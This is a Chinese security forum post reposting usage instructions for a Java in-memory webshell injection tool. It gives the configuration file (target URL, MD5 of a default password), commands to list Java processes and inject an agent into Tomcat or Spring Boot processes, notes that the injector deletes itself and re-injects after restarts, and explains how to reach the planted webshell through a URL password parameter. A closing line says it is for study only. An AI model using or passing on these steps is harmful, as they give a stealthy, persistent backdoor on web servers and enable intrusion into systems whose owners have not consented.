安全矩阵

 找回密码
 立即注册
搜索
查看: 2686|回复: 0

干货|Java内存马注入工具

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-1-19 00:28:33 | 显示全部楼层 |阅读模式

原文链接:干货|Java内存马注入工具

用法
1.先根据环境修改配置文件
配置文件位置在: agent_starter.jar内部config目录下
# 目标url IP地址可以是127.0.0.1。在web应用关闭时,会挂起一个新进程用于监听。当web应用重新启动后,会自动重新注入。
target_url=http://127.0.0.1:80/
# 连接密码的md5值 默认密码:Jundead
password=AC9A489BB6873C5FB760370FD62A793E
# 调试模式 开启后会在当前目录创建日志文件,也会在目标web服务中打印少量日志信息。
debug=false
2.列出Java进程列表
java -jar agent_starter.jar list
3.根据进程名注入
java -jar agent_starter.jar <displayName> <tomcat_version>
举例:java -jar agent_starter.jar "SpringbootDemo.jar" 9
注入进程的displayName是SpringbootDemo.jar,使用的tomcat_version是9。
PS: tomcat容器的进程名一般是:"org.apache.catalina.startup.Bootstrap start"
注入成功后会自动删除自身。
4.连接webshell
浏览器访问http://x.x.x.x/xxx?password=密码
FAQ
  • 注入成功了,但webshell不生效?

如果注入目标是Tomcat容器的应用,连接webshell的url必须是能够正常访问的url。如果注入目标是springboot框架应用,连接webshell的url可以是任意url。
Disclaimers
该项目仅供学习、研究之用,禁止用于非法用途。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 19:20 , Processed in 0.011414 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表